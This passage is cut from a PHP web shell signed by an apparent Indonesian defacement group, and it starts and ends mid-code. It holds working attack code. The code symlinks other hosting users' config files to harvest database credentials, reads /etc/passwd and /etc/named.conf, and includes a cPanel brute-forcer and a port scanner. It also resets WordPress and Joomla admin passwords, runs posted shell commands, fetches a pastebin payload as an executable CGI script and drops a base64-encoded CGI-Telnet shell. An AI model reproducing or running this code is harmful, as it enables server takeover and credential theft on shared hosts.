symlink('/home7/'.$user.'/public_html/lib/config.php',$kola.' ~~ Balitbang.txt') ; symlink('/home7/'.$user.'/public_html/cc/includes/config.php',$kola.' ~~ VBulletin4.txt'); symlink('/home7/'.$user.'/public_html/forum/includes/config.php',$kola.' ~~ forum - vBulletin.txt'); symlink('/home7/'.$user.'/public_html/forum/config.php',$kola.' ~~ forum - PhpBB.txt') ; symlink('/home7/'.$user.'/public_html/amember/config.inc.php',$kola.' ~~ Amember.txt'); symlink('/home7/'.$user.'/public_html/config.inc.php',$kola.' ~~ Amember2.txt'); symlink('/home7/'.$user.'/public_html/vb/includes/config.php',$kola.' ~~ Vb.txt'); symlink('/home7/'.$user.'/public_html/vb3/includes/config.php',$kola.' ~~ Vb3.txt'); symlink('/home7/'.$user.'/public_html/upload/includes/config.php',$kola.' ~~ Upload.txt'); symlink('/home7/'.$user.'/public_html/incl/config.php',$kola.' ~~ Malay.txt'); symlink('/home7/'.$user.'/public_html/config/koneksi.php',$kola.' ~~ Lokomedia.txt'); symlink('/home7/'.$user.'/public_html/config/config.php',$kola.' ~~ config.txt'); symlink('/home7/'.$user.'/public_html/datas/config.php',$kola.' ~~ datas - configuration 3.txt'); symlink('/home7/'.$user.'/public_html/forum/conf/config.php',$kola.' ~~ forum - Other-1.txt') ; symlink('/home7/'.$user.'/public_html/include/config.php',$kola.' ~~ Other-2.txt'); symlink('/home7/'.$user.'/public_html/config.php',$kola.' ~~ Other-3.txt') ; symlink('/home7/'.$user.'/public_html/admin/conf.php',$kola.' ~~ admin - Other-4.txt'); symlink('/home7/'.$user.'/public_html/connect.php',$kola.' ~~ Other-5.txt'); symlink('/home7/'.$user.'/public_html/codelibrary/inc/variables.php',$kola.' ~~ Other-6.txt') ; symlink('/home7/'.$user.'/public_html/client/configuration.php',$kola.' ~~ client - admin Whm1.txt') ; symlink('/home7/'.$user.'/public_html/clients/configuration.php',$kola.' ~~ clients - Whm2.txt') ; symlink('/home7/'.$user.'/public_html/billing/configuration.php',$kola.' ~~ billing - Whm3.txt') ; symlink('/home7/'.$user.'/public_html/billings/configuration.php',$kola.' ~~ Whm4.txt') ; symlink('/home7/'.$user.'/public_html/whmcs/configuration.php',$kola.' ~~ whmcs - Whm5.txt') ; symlink('/home7/'.$user.'/public_html/whm/configuration.php',$kola.' ~~ whm - Whm6.txt'); symlink('/home7/'.$user.'/public_html/order/configuration.php',$kola.' ~~ order - Whm7.txt'); symlink('/home7/'.$user.'/public_html/whmc/configuration.php',$kola.' ~~ whmc - Whm8.txt'); symlink('/home7/'.$user.'/public_html/submitticket.php',$kola.' ~~ whm9.txt'); symlink('/home7/'.$user.'/public_html/manage/configuration.php',$kola.' ~~ manage -Whm10.txt'); symlink('/home7/'.$user.'/public_html/clientes/configuration.php',$kola.' ~~ clientes - Whm11.txt'); symlink('/home7/'.$user.'/public_html/cliente/configuration.php',$kola.' ~~ cliente - Whm12txt'); symlink('/home7/'.$user.'/public_html/clientsupport/configuration.php',$kola.' ~~ clientsupport - Whm13.txt'); symlink('/home7/'.$user.'/public_html/support/configuration.php',$kola.' ~~ support - Whm13.txt'); symlink('/home7/'.$user.'/public_html/supports/configuration.php',$kola.' ~~ supports - Whm14.txt'); symlink('/home7/'.$user.'/public_html/cpanel/configuration.php',$kola.' ~~ cpanel - Whm15'); symlink('/home7/'.$user.'/public_html/panel/configuration.php',$kola.' ~~ panel - Whm16'); symlink('/home7/'.$user.'/public_html/host/configuration.php',$kola.' ~~ host - Whm17'); symlink('/home7/'.$user.'/public_html/hosting/configuration.php',$kola.' ~~ hosting - Whm18'); symlink('/home7/'.$user.'/public_html/hosts/configuration.php',$kola.' ~~ hosts - Whm19'); symlink('/home7/'.$user.'/public_html/v1/configuration.php',$kola.' ~~ v1 - Whm20'); symlink('/home7/'.$user.'/public_html/v2/configuration.php',$kola.' ~~ v2 - Whm21'); symlink('/home7/'.$user.'/public_html/baru/configuration.php',$kola.' ~~ v2 - Whm22'); symlink('/home7/'.$user.'/public_html/wp-config.php',$kola.' ~~ Wordpress.txt') ; symlink('/home7/'.$user.'/public_html/blog/wp-config.php',$kola.' ~~ Wordpress.txt') ; symlink('/home7/'.$user.'/public_html/Connections/cms_blog.php',$kola.' ~~ admin - cms_blog.txt') ; symlink('/home7/'.$user.'/public_html/web/wp-config.php',$kola.' ~~ web - Wordpress .txt') ; symlink('/home7/'.$user.'/public_html/welcome/wp-config.php',$kola.' ~~ welcome - Wordpress .txt') ; symlink('/home7/'.$user.'/public_html/store/wp-config.php',$kola.' ~~ store - Wordpress .txt') ; symlink('/home7/'.$user.'/public_html/wp/wp-config.php',$kola.' ~~ wp - Wordpress.txt'); symlink('/home7/'.$user.'/public_html/wp/beta/wp-config.php',$kola.' ~~ wp - beta - Wordpress.txt'); symlink('/home7/'.$user.'/public_html/beta/wp-config.php',$kola.' ~~ beta - Wordpress.txt'); symlink('/home7/'.$user.'/public_html/press/wp-config.php',$kola.' ~~ press - Wp13.txt'); symlink('/home7/'.$user.'/public_html/wordpress/wp-config.php',$kola.' ~~ wordpress - Wordpress.txt'); symlink('/home7/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.' ~~ wordpress - beta - Wordpress.txt'); symlink('/home7/'.$user.'/public_html/news/wp-config.php',$kola.' ~~ news - Wordpress.txt'); symlink('/home7/'.$user.'/public_html/new/wp-config.php',$kola.' ~~ new - Wordpress.txt'); symlink('/home7/'.$user.'/public_html/blogs/wp-config.php',$kola.' ~~ blog - Wordpress.txt'); symlink('/home7/'.$user.'/public_html/home/wp-config.php',$kola.' ~~ home - Wordpress.txt'); symlink('/home7/'.$user.'/public_html/portal/wp-config.php',$kola.' ~~ portal - Wordpres.txt'); symlink('/home7/'.$user.'/public_html/site/wp-config.php',$kola.' ~~ site - Wordpress.txt'); symlink('/home7/'.$user.'/public_html/main/wp-config.php',$kola.' ~~ main - Wordpress.txt'); symlink('/home7/'.$user.'/public_html/test/wp-config.php',$kola.' ~~ test - Wordpress.txt'); symlink('/home7/'.$user.'/public_html/SSI.php',$kola.' ~~ C M F .txt') ; symlink('/home7/'.$user.'/public_html/forum/SSI.php',$kola.' ~~ forum - C M F .txt') ; symlink('/home7/'.$user.'/public_html/system/sistem.php',$kola.' ~~ Lokomedia.txt'); symlink('/home7/'.$user.'/public_html/mk_conf.php',$kola.' ~~ mk-portale1.txt'); symlink('/home7/'.$user.'/public_html/includes/functions.php',$kola.' ~~ hpbb3.txt'); symlink('/home7/'.$user.'/public_html/include/db.php',$kola.' ~~ infinity.txt'); symlink('/home7/'.$user.'/public_html/conf_global.php',$kola.' ~~ invisio.txt'); symlink('/home7/'.$user.'/public_html/admin/config.php',$kola.' ~~ admin - OpenCart-4.txt') ; } $d0mains = @file("/etc/named.conf"); if($d0mains) { mkdir($fn); chdir($fn); foreach($d0mains as $d0main) { if(eregi("zone",$d0main)) { preg_match_all('#zone "(.*)"#', $d0main, $domains); flush(); if(strlen(trim($domains[1][0])) > 2) { $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0])); syml($user['name'],$domains[1][0]); } } } echo "
[ Done ]
"; echo "
| Go Here |
"; } else { mkdir($fn); chdir($fn); $temp = ""; $val1 = 0; $val2 = 1000; for(;$val1 <= $val2;$val1++) { $uid = @posix_getpwuid($val1); if ($uid) $temp .= join(':',$uid)."\n"; } echo '
'; $temp = trim($temp); $file5 = fopen("test.txt","w"); fputs($file5,$temp); fclose($file5); $htaccess = 'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk= '; $file = fopen(".htaccess","w+"); $write = fwrite ($file ,base64_decode($htaccess)); $file = fopen("test.txt", "r") or exit("Unable to open file!"); while(!feof($file)) { $s = fgets($file); $matches = array(); $t = preg_match('/\/(.*?)\:\//s', $s, $matches); $matches = str_replace("home/","",$matches[1]); if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue; syml($matches,$matches); } fclose($file); echo "
RegistrarSettingValue
$registrar$setting$value
"; unlink("test.txt"); echo "
[ Done ]
"; echo "
| Go Here |
"; } echo "
BACK"; exit; } ?>

+--==[ Cpanel BruteForce ]==--+


Cpanel BruteForce
'; echo ''; } ?>
User :
Pass :
Type : Simple : /etc/passwd :
Get Config :
Folder Name :
Get Wordlist
Url Config :
Info Security
Safe Mode
Disable Function
No Security for Function"; }else{ echo "$func"; echo '
Lompat'; ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('Error: safe_mode = on'); set_time_limit(0); ################### @$passwd = fopen('/etc/passwd','r'); if (!$passwd) { die('
[-] Error : coudn`t read /etc/passwd'); } $pub = array(); $users = array(); $conf = array(); $i = 0; while(!feof($passwd)) { $str = fgets($passwd); if ($i > 35) { $pos = strpos($str,':'); $username = substr($str,0,$pos); $dirz = '/home/'.$username.'/public_html/'; if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username); array_push($pub,$dirz); } } } $i++; } ################### echo '

'; echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."
"; echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."
"; echo "[~] Searching for passwords in config files...\n\n"."


"; foreach ($users as $user) { $path = "/home/$user/public_html/"; echo "$path


"; } echo "\n"; echo "[+] Copy one of the directories above public_html, then Paste to -> view file / folder <-- that's on the menu --> Explore \n"."
"; echo "[+] Complete...\n"."
"; echo '

'; } elseif(isset($_GET['x']) && ($_GET['x'] == 'domain')) { ?>
"; $file = @implode(@file("/etc/named.conf")); if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); } preg_match_all("#named/(.*?).db#",$file ,$r); $domains = array_unique($r[1]); function check() { (@count(@explode('ip',@implode(@file(__FILE__))))==a) ?@unlink(__FILE__):""; } check(); echo ""; foreach($domains as $domain) { $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain)); echo ""; } echo "
[+] Here We Have : [".count($domains)."] Listed Domains In localhost.
List Of Users
$domain".$user['name']."
"; //radable public_html } elseif(isset($_GET['x']) && ($_GET['x'] == 'port-scanner')) { ?>

Port Scanner
'; $start = strip_tags($_POST['start']); $end = strip_tags($_POST['end']); $host = strip_tags($_POST['host']); if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){ for($i = $start; $i<=$end; $i++){ $fp = @fsockopen($host, $i, $errno, $errstr, 3); if($fp){ echo 'Port '.$i.' is open
'; } flush(); } }else{ echo ' Host:

Port start:

Port end:

'; } } elseif(isset($_GET['x']) && ($_GET['x'] == 'wp')) { echo "

+--==[ Wordpress Mysql Admin Shell ]==--+

"; if(empty($_POST['pwd'])){ echo "
Connect to mySQL server
  Host
  Database
  username
  password
  User baru
  Pass Baru  




"; }else{ $localhost = $_POST['localhost']; $database = $_POST['database']; $username = $_POST['username']; $password = $_POST['password']; $pwd = $_POST['pwd']; $admin = $_POST['admin']; @mysql_connect($localhost,$username,$password) or die(mysql_error()); @mysql_select_db($database) or die(mysql_error()); $hash = crypt($pwd); $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error()); $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error()); $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error()); $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error()); $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error()); $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error()); $a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error()); if($a4s){ echo " Success ..!! :)) sekarang bisa login ke wp-admin "; } } echo " "; } elseif(isset($_GET['x']) && ($_GET['x'] == 'joomla')) { echo "

+--==[ Joomla Mysql Admin Shell ]==--+

"; if(empty($_POST['pwd'])){ echo "
Connect to mySQL
  Host
  Database
  username
  password
  User baru
  pass baru aerulcyber =  




"; }else{ $localhost = $_POST['localhost']; $database = $_POST['database']; $username = $_POST['username']; $password = $_POST['password']; $pwd = $_POST['pwd']; $admin = $_POST['admin']; @mysql_connect($localhost,$username,$password) or die(mysql_error()); @mysql_select_db($database) or die(mysql_error()); $hash = crypt($pwd); $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error()); $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error()); $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error()); $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error()); $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error()); $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error()); $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error()); $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error()); if($SQL){ echo "Success : skarang password barunya >>> - (123456)"; } } echo " "; } //////////////////////////////////////////////////////////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'web-info')) { ?>
',''); return $ip; flush(); } function sws_net_info($site) { $getip = @file_get_contents("http://networktools.nl/asinfo/$site"); $ip = @findit($getip,'
','
'); return $ip; flush(); } function sws_site_ser($site) { $getip = @file_get_contents("http://networktools.nl/reverseip/$site"); $ip = @findit($getip,'
','
'); return $ip; flush(); } function sws_sup_dom($site) { $getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains"); $ip = @findit($getip,'Nameservers found:','









  ___                  _  ______        _    _ _     _ _              _   _ _        
 / _ \                | | |  _  \      | |  | | |   (_) |            | | | | |       
/ /_\ \ ___ _ __ _   _| | | | | |__ _  | |  | | |__  _| |_ ___ ______| |_| | | _____ 
|  _  |/ _ \ '__| | | | | | | | / _` | | |/\| | '_ \| | __/ _ \______|  _  | |/ / __|
| | | |  __/ |  | |_| | | | |/ / (_| | \  /\  / | | | | ||  __/      | | | |   < (__ 
\_| |_/\___|_|   \__,_|_| |___/ \__,_|  \/  \/|_| |_|_|\__\___|      \_| |_/_|\_\___|
                                                                                     
                                                                                                                                                                                                                                                                       
>
Hacked by Aerul Da White-Hkc - Hacker Kocan Community
contact : http://fb.me/hackerkocancommunity


Done

";}}} /////////////////////////////////////////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'litespeed')) { ?>

"; mkdir('fuck', 0755); chdir('fuck'); $akses = ".htaccess"; $buka_lah = "$akses"; $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!"); $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI AddType application/x-httpd-cgi .cin AddHandler cgi-script .cin AddHandler cgi-script .cin ForceType application/x-httpd-php4 "; fwrite ( $buka , $metin ) ; fclose ($buka); $fuck = file_get_contents('http://pastebin.com/raw.php?i=iKDBUY8t'); $file = fopen("fuck.cin" ,"w+"); $write = fwrite ($file ,($fuck)); fclose($file); chmod("fuck.cin", 0755); $indexshell = fopen("ini.php" ,"w+"); $data = 'PD8KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsKZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsKaW5jbHVkZSgkR0VUWyJmaWxlIl0pOwppbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7CmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsKZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsKZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsKaW5jbHVkZSgkX0dFVFsic3MiXSk7Cj8+'; $tulis = fwrite( $indexshell, base64_decode($data)); fclose($indexshell); chmod("ini.php", 0755); $safemode = fopen("php.ini" ,"w+"); $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F'; $tulis = fwrite( $safemode, base64_decode($data)); fclose($safemode); echo ""; } ////////////////////////////////////////////////////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'bypassconfig')) { ?> ||== BypassConfig ==||

+--==[ Bypass Config By Aerul Da White-Hkc ]==--+

'; ?>


Selamat datang di bypass config ane gan :D
jgn lupa nitip nick ye :v


nich tombol buat php.ini :)

nich buat nyari usernamenya

buka di newtab PHP.INI"; echo $link; } ?>


"; if(isset($_POST['su'])) { mkdir('hkc',0777); $rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any"; $g = fopen('hkc/.htaccess','w'); fwrite($g,$rr); $hkc = symlink("/","hkc/root"); $rt=" OwN3d"; echo "Mas bro buka link ini buat liat folder symlink
$rt"; $dir=mkdir('hkc',0777); $r = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any"; $f = fopen('hkc/.htaccess','w'); fwrite($f,$r); $consym="configuration files"; echo "
CHECK HASILNYA YG DIBAWAH INI OMSSSS :*
$consym"; $usr=explode("\n",$_POST['user']); $configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php"); foreach($usr as $uss ) { $us=trim($uss); foreach($configuration as $c) { $rs="/home/".$us."/public_html/".$c; $r="hkc/".$us." .. ".$c; symlink($rs,$r); } } } ?>

"; print_r('
Command :=)
Menu Bypass :=)
'); ini_restore("safe_mode"); ini_restore("open_basedir"); $liz0=shell_exec($_POST[baba]); $liz0zim=shell_exec($_POST[liz0]); $uid=shell_exec('id'); $server=shell_exec('uname -a'); echo "

"; echo $liz0; echo $liz0zim; echo "

"; ?>

+--==[ CGI-Telnet Version 1.3 ]==--+

"; mkdir('cgi2012', 0755); chdir('cgi2012'); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!"); $metin = "AddHandler cgi-script .izo"; fwrite ( $dosya , $metin ) ; fclose ($dosya); $cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdl